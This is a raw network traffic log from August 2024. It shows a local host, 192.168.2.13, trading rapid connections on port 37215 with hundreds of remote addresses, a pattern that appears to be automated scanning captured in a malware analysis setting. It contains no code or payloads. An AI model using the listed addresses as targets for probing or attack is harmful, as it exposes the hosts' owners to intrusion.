Aug 17, 2024 01:01:52.641124964 CEST	37215	37134	41.109.176.79	192.168.2.13
Aug 17, 2024 01:01:52.641139030 CEST	37215	56832	156.234.225.254	192.168.2.13
Aug 17, 2024 01:01:52.641154051 CEST	37215	37724	156.214.69.49	192.168.2.13
Aug 17, 2024 01:01:52.641166925 CEST	37215	38148	197.226.149.27	192.168.2.13
Aug 17, 2024 01:01:52.641180038 CEST	37215	55288	41.131.30.181	192.168.2.13
Aug 17, 2024 01:01:52.641192913 CEST	37215	41692	197.107.15.205	192.168.2.13
Aug 17, 2024 01:01:52.641206026 CEST	37215	58452	41.170.179.141	192.168.2.13
Aug 17, 2024 01:01:52.641217947 CEST	37215	58988	156.161.31.200	192.168.2.13
Aug 17, 2024 01:01:52.641231060 CEST	37215	36340	197.255.23.140	192.168.2.13
Aug 17, 2024 01:01:52.641244888 CEST	37215	33718	41.141.47.84	192.168.2.13
Aug 17, 2024 01:01:52.641258955 CEST	37215	57266	156.234.175.39	192.168.2.13
Aug 17, 2024 01:01:52.641272068 CEST	37215	54538	41.38.176.133	192.168.2.13
Aug 17, 2024 01:01:52.641284943 CEST	37215	35152	156.119.0.235	192.168.2.13
Aug 17, 2024 01:01:52.641298056 CEST	37215	58200	41.218.157.167	192.168.2.13
Aug 17, 2024 01:01:52.641310930 CEST	37215	57146	41.5.140.208	192.168.2.13
Aug 17, 2024 01:01:52.641324043 CEST	37215	54496	41.104.87.75	192.168.2.13
Aug 17, 2024 01:01:52.641338110 CEST	37215	34066	197.46.139.125	192.168.2.13
Aug 17, 2024 01:01:52.641350031 CEST	37215	40720	41.237.68.28	192.168.2.13
Aug 17, 2024 01:01:52.641355038 CEST	41636	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:52.641355991 CEST	41624	37215	192.168.2.13	156.11.180.235
Aug 17, 2024 01:01:52.641355991 CEST	51958	37215	192.168.2.13	41.239.67.63
Aug 17, 2024 01:01:52.641360044 CEST	57062	37215	192.168.2.13	197.233.139.44
Aug 17, 2024 01:01:52.641361952 CEST	37215	36920	156.186.214.34	192.168.2.13
Aug 17, 2024 01:01:52.641375065 CEST	37215	59606	197.81.9.101	192.168.2.13
Aug 17, 2024 01:01:52.641385078 CEST	46760	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:52.641385078 CEST	42940	37215	192.168.2.13	156.166.44.39
Aug 17, 2024 01:01:52.641385078 CEST	56926	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:52.641386032 CEST	52212	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:52.641386032 CEST	60008	37215	192.168.2.13	41.21.246.26
Aug 17, 2024 01:01:52.641387939 CEST	37215	44884	197.109.141.223	192.168.2.13
Aug 17, 2024 01:01:52.641387939 CEST	40166	37215	192.168.2.13	197.116.147.152
Aug 17, 2024 01:01:52.641388893 CEST	36932	37215	192.168.2.13	41.60.201.101
Aug 17, 2024 01:01:52.641415119 CEST	37215	59176	41.104.228.157	192.168.2.13
Aug 17, 2024 01:01:52.641423941 CEST	41150	37215	192.168.2.13	156.48.147.157
Aug 17, 2024 01:01:52.641423941 CEST	58752	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:52.641423941 CEST	54644	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:52.641427040 CEST	57772	37215	192.168.2.13	156.139.38.63
Aug 17, 2024 01:01:52.641427040 CEST	33650	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:52.641427994 CEST	38626	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:52.641427994 CEST	45022	37215	192.168.2.13	197.139.83.220
Aug 17, 2024 01:01:52.641428947 CEST	37215	48768	197.233.181.104	192.168.2.13
Aug 17, 2024 01:01:52.641428947 CEST	43204	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:52.641429901 CEST	38732	37215	192.168.2.13	197.223.217.187
Aug 17, 2024 01:01:52.641443968 CEST	37215	53754	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:52.641444921 CEST	58650	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:52.641457081 CEST	37215	58020	156.124.114.28	192.168.2.13
Aug 17, 2024 01:01:52.641469002 CEST	37215	55324	197.77.108.93	192.168.2.13
Aug 17, 2024 01:01:52.641482115 CEST	37215	53100	156.42.241.51	192.168.2.13
Aug 17, 2024 01:01:52.641494036 CEST	37215	58412	156.11.0.154	192.168.2.13
Aug 17, 2024 01:01:52.641511917 CEST	37215	60682	41.125.179.222	192.168.2.13
Aug 17, 2024 01:01:52.641525030 CEST	37215	38684	41.74.137.213	192.168.2.13
Aug 17, 2024 01:01:52.641537905 CEST	37215	35690	41.184.94.93	192.168.2.13
Aug 17, 2024 01:01:52.641551018 CEST	37215	54320	156.205.144.104	192.168.2.13
Aug 17, 2024 01:01:52.641565084 CEST	37215	55612	197.20.218.51	192.168.2.13
Aug 17, 2024 01:01:52.641577005 CEST	37215	35236	197.182.20.163	192.168.2.13
Aug 17, 2024 01:01:52.641590118 CEST	37215	34054	41.217.242.186	192.168.2.13
Aug 17, 2024 01:01:52.641604900 CEST	37215	37006	41.37.209.74	192.168.2.13
Aug 17, 2024 01:01:52.641614914 CEST	37215	44918	41.188.165.36	192.168.2.13
Aug 17, 2024 01:01:52.641625881 CEST	37215	33816	41.56.250.184	192.168.2.13
Aug 17, 2024 01:01:52.641638041 CEST	37215	39884	156.236.94.230	192.168.2.13
Aug 17, 2024 01:01:52.641652107 CEST	37215	60514	41.178.253.124	192.168.2.13
Aug 17, 2024 01:01:52.641664982 CEST	37215	50154	156.203.116.210	192.168.2.13
Aug 17, 2024 01:01:52.641676903 CEST	37215	51808	156.169.83.79	192.168.2.13
Aug 17, 2024 01:01:52.641689062 CEST	37215	54118	197.251.210.162	192.168.2.13
Aug 17, 2024 01:01:52.641704082 CEST	37215	43066	41.149.96.72	192.168.2.13
Aug 17, 2024 01:01:52.641719103 CEST	37215	50768	156.84.141.220	192.168.2.13
Aug 17, 2024 01:01:52.641731977 CEST	37215	36962	197.178.219.110	192.168.2.13
Aug 17, 2024 01:01:52.641747952 CEST	37215	43258	156.35.151.19	192.168.2.13
Aug 17, 2024 01:01:52.641763926 CEST	37215	57302	156.47.228.225	192.168.2.13
Aug 17, 2024 01:01:52.641777039 CEST	37215	36020	156.136.35.194	192.168.2.13
Aug 17, 2024 01:01:52.641788960 CEST	37215	56138	197.82.247.73	192.168.2.13
Aug 17, 2024 01:01:52.641803026 CEST	37215	54994	41.81.36.0	192.168.2.13
Aug 17, 2024 01:01:52.641814947 CEST	37215	57456	41.60.50.8	192.168.2.13
Aug 17, 2024 01:01:52.641825914 CEST	37215	54780	41.187.163.243	192.168.2.13
Aug 17, 2024 01:01:52.641838074 CEST	37215	42812	197.59.22.76	192.168.2.13
Aug 17, 2024 01:01:52.641849041 CEST	37215	59928	197.223.197.153	192.168.2.13
Aug 17, 2024 01:01:52.641861916 CEST	37215	34998	197.145.99.21	192.168.2.13
Aug 17, 2024 01:01:52.641874075 CEST	37215	53980	41.145.152.60	192.168.2.13
Aug 17, 2024 01:01:52.641886950 CEST	37215	46300	156.167.239.5	192.168.2.13
Aug 17, 2024 01:01:52.641899109 CEST	37215	41772	156.224.77.37	192.168.2.13
Aug 17, 2024 01:01:52.641910076 CEST	37215	44218	156.127.131.95	192.168.2.13
Aug 17, 2024 01:01:52.641921043 CEST	37215	38018	41.85.61.96	192.168.2.13
Aug 17, 2024 01:01:52.641930103 CEST	37215	52672	156.207.217.207	192.168.2.13
Aug 17, 2024 01:01:52.641942978 CEST	37215	49622	41.135.249.76	192.168.2.13
Aug 17, 2024 01:01:52.641956091 CEST	37215	55986	197.131.244.219	192.168.2.13
Aug 17, 2024 01:01:52.641969919 CEST	37215	39632	41.254.227.85	192.168.2.13
Aug 17, 2024 01:01:52.641983986 CEST	37215	45364	156.153.26.52	192.168.2.13
Aug 17, 2024 01:01:52.641997099 CEST	37215	34822	197.81.111.53	192.168.2.13
Aug 17, 2024 01:01:52.642008066 CEST	37215	51582	197.163.251.194	192.168.2.13
Aug 17, 2024 01:01:52.642018080 CEST	37215	41612	41.246.45.174	192.168.2.13
Aug 17, 2024 01:01:52.642029047 CEST	37215	52624	197.134.164.58	192.168.2.13
Aug 17, 2024 01:01:52.642040968 CEST	37215	33030	156.130.182.89	192.168.2.13
Aug 17, 2024 01:01:52.642054081 CEST	37215	57734	41.190.82.22	192.168.2.13
Aug 17, 2024 01:01:52.642066956 CEST	37215	44492	41.33.53.167	192.168.2.13
Aug 17, 2024 01:01:52.642077923 CEST	37215	45046	197.33.118.207	192.168.2.13
Aug 17, 2024 01:01:52.642091036 CEST	37215	47108	41.224.178.253	192.168.2.13
Aug 17, 2024 01:01:52.642102003 CEST	37215	33368	197.242.157.20	192.168.2.13
Aug 17, 2024 01:01:52.642112970 CEST	37215	51362	41.72.36.21	192.168.2.13
Aug 17, 2024 01:01:52.642123938 CEST	37215	47264	197.105.56.185	192.168.2.13
Aug 17, 2024 01:01:52.642137051 CEST	37215	43332	156.52.223.120	192.168.2.13
Aug 17, 2024 01:01:52.642148972 CEST	37215	36984	197.77.149.245	192.168.2.13
Aug 17, 2024 01:01:52.642162085 CEST	37215	42356	41.40.204.176	192.168.2.13
Aug 17, 2024 01:01:52.642174959 CEST	37215	38868	156.174.214.8	192.168.2.13
Aug 17, 2024 01:01:52.642185926 CEST	37215	44578	156.200.212.92	192.168.2.13
Aug 17, 2024 01:01:52.642195940 CEST	37215	46268	41.115.152.174	192.168.2.13
Aug 17, 2024 01:01:52.642205954 CEST	37215	42702	41.253.130.201	192.168.2.13
Aug 17, 2024 01:01:52.642218113 CEST	37215	60284	197.148.125.134	192.168.2.13
Aug 17, 2024 01:01:52.642230988 CEST	37215	58666	197.18.103.36	192.168.2.13
Aug 17, 2024 01:01:52.642241955 CEST	37215	54112	156.69.229.46	192.168.2.13
Aug 17, 2024 01:01:52.642256975 CEST	37215	37564	197.144.118.143	192.168.2.13
Aug 17, 2024 01:01:52.642277956 CEST	37215	50568	41.28.41.178	192.168.2.13
Aug 17, 2024 01:01:52.642288923 CEST	37215	53256	197.152.29.126	192.168.2.13
Aug 17, 2024 01:01:52.642297983 CEST	37215	49946	41.200.34.54	192.168.2.13
Aug 17, 2024 01:01:52.642308950 CEST	37215	58256	197.193.52.121	192.168.2.13
Aug 17, 2024 01:01:52.642318010 CEST	37215	52154	41.67.207.128	192.168.2.13
Aug 17, 2024 01:01:52.642328024 CEST	37215	50674	41.111.3.139	192.168.2.13
Aug 17, 2024 01:01:52.642338991 CEST	37215	50212	197.227.212.131	192.168.2.13
Aug 17, 2024 01:01:52.643187046 CEST	37215	41446	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:52.647834063 CEST	37215	41636	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:52.647846937 CEST	37215	41624	156.11.180.235	192.168.2.13
Aug 17, 2024 01:01:52.647861004 CEST	37215	51958	41.239.67.63	192.168.2.13
Aug 17, 2024 01:01:52.647872925 CEST	37215	52544	197.15.205.21	192.168.2.13
Aug 17, 2024 01:01:52.647885084 CEST	37215	57062	197.233.139.44	192.168.2.13
Aug 17, 2024 01:01:52.647896051 CEST	37215	42940	156.166.44.39	192.168.2.13
Aug 17, 2024 01:01:52.656217098 CEST	37215	49670	156.75.186.246	192.168.2.13
Aug 17, 2024 01:01:52.656229019 CEST	37215	39610	41.220.205.135	192.168.2.13
Aug 17, 2024 01:01:52.656239986 CEST	37215	35800	41.203.221.60	192.168.2.13
Aug 17, 2024 01:01:52.656249046 CEST	37215	53758	197.166.118.19	192.168.2.13
Aug 17, 2024 01:01:52.656258106 CEST	37215	43040	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:52.656269073 CEST	37215	43984	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:52.766408920 CEST	37215	47492	197.134.73.170	192.168.2.13
Aug 17, 2024 01:01:52.766659021 CEST	47492	37215	192.168.2.13	197.134.73.170
Aug 17, 2024 01:01:52.767577887 CEST	37215	44312	197.92.245.152	192.168.2.13
Aug 17, 2024 01:01:52.767678022 CEST	44312	37215	192.168.2.13	197.92.245.152
Aug 17, 2024 01:01:52.768100977 CEST	37215	47534	156.4.205.159	192.168.2.13
Aug 17, 2024 01:01:52.768138885 CEST	47534	37215	192.168.2.13	156.4.205.159
Aug 17, 2024 01:01:52.768634081 CEST	37215	48734	197.40.44.56	192.168.2.13
Aug 17, 2024 01:01:52.768691063 CEST	48734	37215	192.168.2.13	197.40.44.56
Aug 17, 2024 01:01:52.769100904 CEST	37215	45246	197.253.167.187	192.168.2.13
Aug 17, 2024 01:01:52.769139051 CEST	45246	37215	192.168.2.13	197.253.167.187
Aug 17, 2024 01:01:52.769484997 CEST	37215	33118	197.33.40.136	192.168.2.13
Aug 17, 2024 01:01:52.769706964 CEST	33118	37215	192.168.2.13	197.33.40.136
Aug 17, 2024 01:01:52.770113945 CEST	37215	50936	41.132.36.23	192.168.2.13
Aug 17, 2024 01:01:52.770153046 CEST	50936	37215	192.168.2.13	41.132.36.23
Aug 17, 2024 01:01:52.770633936 CEST	37215	56852	156.199.58.75	192.168.2.13
Aug 17, 2024 01:01:52.770670891 CEST	56852	37215	192.168.2.13	156.199.58.75
Aug 17, 2024 01:01:52.771298885 CEST	37215	47130	41.200.206.226	192.168.2.13
Aug 17, 2024 01:01:52.771365881 CEST	47130	37215	192.168.2.13	41.200.206.226
Aug 17, 2024 01:01:52.771662951 CEST	37215	42748	156.146.125.170	192.168.2.13
Aug 17, 2024 01:01:52.771706104 CEST	42748	37215	192.168.2.13	156.146.125.170
Aug 17, 2024 01:01:52.772413015 CEST	37215	39854	197.192.68.27	192.168.2.13
Aug 17, 2024 01:01:52.772475004 CEST	39854	37215	192.168.2.13	197.192.68.27
Aug 17, 2024 01:01:52.773240089 CEST	37215	56604	41.169.106.62	192.168.2.13
Aug 17, 2024 01:01:52.773284912 CEST	56604	37215	192.168.2.13	41.169.106.62
Aug 17, 2024 01:01:52.773629904 CEST	37215	37530	41.176.244.148	192.168.2.13
Aug 17, 2024 01:01:52.773685932 CEST	37530	37215	192.168.2.13	41.176.244.148
Aug 17, 2024 01:01:52.774548054 CEST	37215	51738	197.253.171.12	192.168.2.13
Aug 17, 2024 01:01:52.774591923 CEST	51738	37215	192.168.2.13	197.253.171.12
Aug 17, 2024 01:01:52.774988890 CEST	37215	39282	156.119.14.193	192.168.2.13
Aug 17, 2024 01:01:52.775072098 CEST	39282	37215	192.168.2.13	156.119.14.193
Aug 17, 2024 01:01:52.775818110 CEST	37215	59526	156.160.188.179	192.168.2.13
Aug 17, 2024 01:01:52.775868893 CEST	59526	37215	192.168.2.13	156.160.188.179
Aug 17, 2024 01:01:52.775984049 CEST	37215	38216	197.203.217.254	192.168.2.13
Aug 17, 2024 01:01:52.776019096 CEST	38216	37215	192.168.2.13	197.203.217.254
Aug 17, 2024 01:01:52.776542902 CEST	37215	60056	197.172.37.162	192.168.2.13
Aug 17, 2024 01:01:52.776585102 CEST	60056	37215	192.168.2.13	197.172.37.162
Aug 17, 2024 01:01:52.776850939 CEST	37215	47006	197.4.25.105	192.168.2.13
Aug 17, 2024 01:01:52.776902914 CEST	47006	37215	192.168.2.13	197.4.25.105
Aug 17, 2024 01:01:52.777317047 CEST	37215	52758	197.64.116.109	192.168.2.13
Aug 17, 2024 01:01:52.777355909 CEST	52758	37215	192.168.2.13	197.64.116.109
Aug 17, 2024 01:01:52.778269053 CEST	37215	43304	41.24.191.230	192.168.2.13
Aug 17, 2024 01:01:52.778307915 CEST	43304	37215	192.168.2.13	41.24.191.230
Aug 17, 2024 01:01:52.779776096 CEST	37215	53442	41.129.13.215	192.168.2.13
Aug 17, 2024 01:01:52.779819965 CEST	53442	37215	192.168.2.13	41.129.13.215
Aug 17, 2024 01:01:52.780136108 CEST	37215	45530	156.162.192.34	192.168.2.13
Aug 17, 2024 01:01:52.780178070 CEST	45530	37215	192.168.2.13	156.162.192.34
Aug 17, 2024 01:01:52.780709982 CEST	37215	46538	41.180.77.119	192.168.2.13
Aug 17, 2024 01:01:52.780747890 CEST	46538	37215	192.168.2.13	41.180.77.119
Aug 17, 2024 01:01:52.781711102 CEST	37215	45318	156.42.44.35	192.168.2.13
Aug 17, 2024 01:01:52.781801939 CEST	45318	37215	192.168.2.13	156.42.44.35
Aug 17, 2024 01:01:52.782938957 CEST	37215	56712	41.252.234.209	192.168.2.13
Aug 17, 2024 01:01:52.782985926 CEST	56712	37215	192.168.2.13	41.252.234.209
Aug 17, 2024 01:01:52.785686016 CEST	37215	53434	197.239.232.194	192.168.2.13
Aug 17, 2024 01:01:52.785723925 CEST	53434	37215	192.168.2.13	197.239.232.194
Aug 17, 2024 01:01:52.785953999 CEST	37215	51226	41.52.224.118	192.168.2.13
Aug 17, 2024 01:01:52.785959959 CEST	37215	59274	197.89.192.144	192.168.2.13
Aug 17, 2024 01:01:52.785985947 CEST	37215	59812	197.129.1.124	192.168.2.13
Aug 17, 2024 01:01:52.785986900 CEST	51226	37215	192.168.2.13	41.52.224.118
Aug 17, 2024 01:01:52.786020994 CEST	59812	37215	192.168.2.13	197.129.1.124
Aug 17, 2024 01:01:52.786026001 CEST	59274	37215	192.168.2.13	197.89.192.144
Aug 17, 2024 01:01:52.786037922 CEST	37215	60728	41.160.80.78	192.168.2.13
Aug 17, 2024 01:01:52.786075115 CEST	60728	37215	192.168.2.13	41.160.80.78
Aug 17, 2024 01:01:52.786113024 CEST	37215	57752	156.94.26.172	192.168.2.13
Aug 17, 2024 01:01:52.786137104 CEST	37215	48712	156.251.150.222	192.168.2.13
Aug 17, 2024 01:01:52.786148071 CEST	57752	37215	192.168.2.13	156.94.26.172
Aug 17, 2024 01:01:52.786170959 CEST	48712	37215	192.168.2.13	156.251.150.222
Aug 17, 2024 01:01:52.786802053 CEST	37215	46494	156.213.139.78	192.168.2.13
Aug 17, 2024 01:01:52.786834955 CEST	46494	37215	192.168.2.13	156.213.139.78
Aug 17, 2024 01:01:52.787138939 CEST	37215	33610	156.80.9.191	192.168.2.13
Aug 17, 2024 01:01:52.787177086 CEST	33610	37215	192.168.2.13	156.80.9.191
Aug 17, 2024 01:01:52.788983107 CEST	37215	48474	41.57.212.72	192.168.2.13
Aug 17, 2024 01:01:52.789021969 CEST	37215	38390	197.82.116.206	192.168.2.13
Aug 17, 2024 01:01:52.789025068 CEST	48474	37215	192.168.2.13	41.57.212.72
Aug 17, 2024 01:01:52.789032936 CEST	37215	37128	197.55.145.114	192.168.2.13
Aug 17, 2024 01:01:52.789045095 CEST	37215	59378	197.134.170.20	192.168.2.13
Aug 17, 2024 01:01:52.789068937 CEST	38390	37215	192.168.2.13	197.82.116.206
Aug 17, 2024 01:01:52.789068937 CEST	37128	37215	192.168.2.13	197.55.145.114
Aug 17, 2024 01:01:52.789079905 CEST	59378	37215	192.168.2.13	197.134.170.20
Aug 17, 2024 01:01:52.789166927 CEST	37215	46570	156.18.66.116	192.168.2.13
Aug 17, 2024 01:01:52.789199114 CEST	46570	37215	192.168.2.13	156.18.66.116
Aug 17, 2024 01:01:52.789910078 CEST	37215	60114	197.118.35.21	192.168.2.13
Aug 17, 2024 01:01:52.789952040 CEST	60114	37215	192.168.2.13	197.118.35.21
Aug 17, 2024 01:01:52.790462017 CEST	37215	38556	156.176.121.224	192.168.2.13
Aug 17, 2024 01:01:52.790502071 CEST	38556	37215	192.168.2.13	156.176.121.224
Aug 17, 2024 01:01:52.790880919 CEST	37215	43954	156.63.134.230	192.168.2.13
Aug 17, 2024 01:01:52.790921926 CEST	43954	37215	192.168.2.13	156.63.134.230
Aug 17, 2024 01:01:52.791686058 CEST	37215	53736	41.198.63.23	192.168.2.13
Aug 17, 2024 01:01:52.791721106 CEST	53736	37215	192.168.2.13	41.198.63.23
Aug 17, 2024 01:01:52.792335987 CEST	37215	56996	41.53.245.116	192.168.2.13
Aug 17, 2024 01:01:52.792371988 CEST	56996	37215	192.168.2.13	41.53.245.116
Aug 17, 2024 01:01:52.793169022 CEST	37215	38910	41.154.52.102	192.168.2.13
Aug 17, 2024 01:01:52.793250084 CEST	38910	37215	192.168.2.13	41.154.52.102
Aug 17, 2024 01:01:52.793415070 CEST	37215	43374	41.228.69.41	192.168.2.13
Aug 17, 2024 01:01:52.793451071 CEST	43374	37215	192.168.2.13	41.228.69.41
Aug 17, 2024 01:01:52.793787003 CEST	37215	51466	41.20.173.91	192.168.2.13
Aug 17, 2024 01:01:52.793823957 CEST	51466	37215	192.168.2.13	41.20.173.91
Aug 17, 2024 01:01:52.794600964 CEST	37215	44838	197.33.248.216	192.168.2.13
Aug 17, 2024 01:01:52.794641018 CEST	44838	37215	192.168.2.13	197.33.248.216
Aug 17, 2024 01:01:52.794872046 CEST	37215	48022	156.6.188.205	192.168.2.13
Aug 17, 2024 01:01:52.794928074 CEST	48022	37215	192.168.2.13	156.6.188.205
Aug 17, 2024 01:01:52.795660019 CEST	37215	43814	41.15.52.191	192.168.2.13
Aug 17, 2024 01:01:52.795697927 CEST	43814	37215	192.168.2.13	41.15.52.191
Aug 17, 2024 01:01:52.796050072 CEST	37215	40258	197.20.0.149	192.168.2.13
Aug 17, 2024 01:01:52.796088934 CEST	40258	37215	192.168.2.13	197.20.0.149
Aug 17, 2024 01:01:52.796525955 CEST	37215	42262	197.207.57.76	192.168.2.13
Aug 17, 2024 01:01:52.796566010 CEST	42262	37215	192.168.2.13	197.207.57.76
Aug 17, 2024 01:01:52.796770096 CEST	37215	33340	41.171.56.168	192.168.2.13
Aug 17, 2024 01:01:52.796817064 CEST	33340	37215	192.168.2.13	41.171.56.168
Aug 17, 2024 01:01:52.797173023 CEST	37215	42028	41.242.140.198	192.168.2.13
Aug 17, 2024 01:01:52.797211885 CEST	42028	37215	192.168.2.13	41.242.140.198
Aug 17, 2024 01:01:52.797667027 CEST	37215	48946	41.179.81.67	192.168.2.13
Aug 17, 2024 01:01:52.797705889 CEST	48946	37215	192.168.2.13	41.179.81.67
Aug 17, 2024 01:01:52.798094988 CEST	37215	45990	41.145.216.112	192.168.2.13
Aug 17, 2024 01:01:52.798135996 CEST	45990	37215	192.168.2.13	41.145.216.112
Aug 17, 2024 01:01:52.798587084 CEST	37215	35858	156.246.199.50	192.168.2.13
Aug 17, 2024 01:01:52.798646927 CEST	35858	37215	192.168.2.13	156.246.199.50
Aug 17, 2024 01:01:52.799045086 CEST	37215	49116	197.27.59.110	192.168.2.13
Aug 17, 2024 01:01:52.799077988 CEST	49116	37215	192.168.2.13	197.27.59.110
Aug 17, 2024 01:01:52.799613953 CEST	37215	39878	156.246.55.201	192.168.2.13
Aug 17, 2024 01:01:52.799717903 CEST	39878	37215	192.168.2.13	156.246.55.201
Aug 17, 2024 01:01:52.800137043 CEST	37215	36328	156.75.251.173	192.168.2.13
Aug 17, 2024 01:01:52.800182104 CEST	36328	37215	192.168.2.13	156.75.251.173
Aug 17, 2024 01:01:52.800740004 CEST	37215	46018	41.70.233.248	192.168.2.13
Aug 17, 2024 01:01:52.800781012 CEST	46018	37215	192.168.2.13	41.70.233.248
Aug 17, 2024 01:01:52.801162004 CEST	37215	60106	197.53.233.6	192.168.2.13
Aug 17, 2024 01:01:52.801194906 CEST	60106	37215	192.168.2.13	197.53.233.6
Aug 17, 2024 01:01:52.802278996 CEST	37215	57344	156.234.225.254	192.168.2.13
Aug 17, 2024 01:01:52.802316904 CEST	57344	37215	192.168.2.13	156.234.225.254
Aug 17, 2024 01:01:52.802953005 CEST	37215	37646	41.109.176.79	192.168.2.13
Aug 17, 2024 01:01:52.802988052 CEST	37646	37215	192.168.2.13	41.109.176.79
Aug 17, 2024 01:01:52.803360939 CEST	37215	43908	41.47.130.185	192.168.2.13
Aug 17, 2024 01:01:52.803400993 CEST	43908	37215	192.168.2.13	41.47.130.185
Aug 17, 2024 01:01:52.804179907 CEST	37215	56682	197.178.25.54	192.168.2.13
Aug 17, 2024 01:01:52.804236889 CEST	56682	37215	192.168.2.13	197.178.25.54
Aug 17, 2024 01:01:52.804552078 CEST	37215	56608	156.247.59.73	192.168.2.13
Aug 17, 2024 01:01:52.804598093 CEST	56608	37215	192.168.2.13	156.247.59.73
Aug 17, 2024 01:01:52.804821014 CEST	37215	56608	197.101.32.110	192.168.2.13
Aug 17, 2024 01:01:52.804863930 CEST	56608	37215	192.168.2.13	197.101.32.110
Aug 17, 2024 01:01:52.805610895 CEST	37215	54580	41.108.200.158	192.168.2.13
Aug 17, 2024 01:01:52.805664062 CEST	54580	37215	192.168.2.13	41.108.200.158
Aug 17, 2024 01:01:52.806340933 CEST	37215	51930	156.66.41.51	192.168.2.13
Aug 17, 2024 01:01:52.806395054 CEST	51930	37215	192.168.2.13	156.66.41.51
Aug 17, 2024 01:01:52.806763887 CEST	37215	53650	156.240.164.252	192.168.2.13
Aug 17, 2024 01:01:52.806802988 CEST	53650	37215	192.168.2.13	156.240.164.252
Aug 17, 2024 01:01:52.807015896 CEST	37215	35720	156.109.46.155	192.168.2.13
Aug 17, 2024 01:01:52.807054043 CEST	35720	37215	192.168.2.13	156.109.46.155
Aug 17, 2024 01:01:52.807471991 CEST	37215	40602	156.77.26.3	192.168.2.13
Aug 17, 2024 01:01:52.807517052 CEST	40602	37215	192.168.2.13	156.77.26.3
Aug 17, 2024 01:01:52.809180975 CEST	37215	57188	41.255.127.91	192.168.2.13
Aug 17, 2024 01:01:52.809195042 CEST	37215	40232	156.20.56.208	192.168.2.13
Aug 17, 2024 01:01:52.809222937 CEST	57188	37215	192.168.2.13	41.255.127.91
Aug 17, 2024 01:01:52.809242964 CEST	40232	37215	192.168.2.13	156.20.56.208
Aug 17, 2024 01:01:52.809842110 CEST	37215	36742	41.249.27.47	192.168.2.13
Aug 17, 2024 01:01:52.809885979 CEST	36742	37215	192.168.2.13	41.249.27.47
Aug 17, 2024 01:01:52.810293913 CEST	37215	59142	41.59.232.105	192.168.2.13
Aug 17, 2024 01:01:52.810359001 CEST	59142	37215	192.168.2.13	41.59.232.105
Aug 17, 2024 01:01:52.810973883 CEST	37215	56066	41.100.15.226	192.168.2.13
Aug 17, 2024 01:01:52.811075926 CEST	56066	37215	192.168.2.13	41.100.15.226
Aug 17, 2024 01:01:52.811883926 CEST	37215	51730	156.133.162.89	192.168.2.13
Aug 17, 2024 01:01:52.811929941 CEST	51730	37215	192.168.2.13	156.133.162.89
Aug 17, 2024 01:01:52.812442064 CEST	37215	48156	197.198.123.23	192.168.2.13
Aug 17, 2024 01:01:52.812503099 CEST	48156	37215	192.168.2.13	197.198.123.23
Aug 17, 2024 01:01:52.813226938 CEST	37215	39832	41.146.30.215	192.168.2.13
Aug 17, 2024 01:01:52.813268900 CEST	39832	37215	192.168.2.13	41.146.30.215
Aug 17, 2024 01:01:52.813343048 CEST	53058	37215	192.168.2.13	197.15.205.21
Aug 17, 2024 01:01:52.813354015 CEST	38662	37215	192.168.2.13	197.226.149.27
Aug 17, 2024 01:01:52.813357115 CEST	42206	37215	192.168.2.13	197.107.15.205
Aug 17, 2024 01:01:52.813357115 CEST	38238	37215	192.168.2.13	156.214.69.49
Aug 17, 2024 01:01:52.813357115 CEST	55802	37215	192.168.2.13	41.131.30.181
Aug 17, 2024 01:01:52.813365936 CEST	58964	37215	192.168.2.13	41.170.179.141
Aug 17, 2024 01:01:52.813369036 CEST	59500	37215	192.168.2.13	156.161.31.200
Aug 17, 2024 01:01:52.813375950 CEST	57778	37215	192.168.2.13	156.234.175.39
Aug 17, 2024 01:01:52.813378096 CEST	36852	37215	192.168.2.13	197.255.23.140
Aug 17, 2024 01:01:52.813384056 CEST	55050	37215	192.168.2.13	41.38.176.133
Aug 17, 2024 01:01:52.813385010 CEST	34230	37215	192.168.2.13	41.141.47.84
Aug 17, 2024 01:01:52.813385010 CEST	58712	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:52.813393116 CEST	35664	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:52.813394070 CEST	57658	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:52.813404083 CEST	41232	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:52.813405037 CEST	55008	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:52.813410044 CEST	60118	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:52.813410997 CEST	59688	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:52.813410997 CEST	37432	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:52.813410997 CEST	45396	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:52.813417912 CEST	57968	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:52.813421011 CEST	55292	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:52.813421965 CEST	34578	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:52.813421965 CEST	60440	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:52.813426018 CEST	49280	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:52.813431978 CEST	44730	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:52.813432932 CEST	43324	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:52.813432932 CEST	54266	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:52.813432932 CEST	55506	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:52.813432932 CEST	35510	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:52.813432932 CEST	46812	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:52.813440084 CEST	54492	37215	192.168.2.13	41.145.152.60
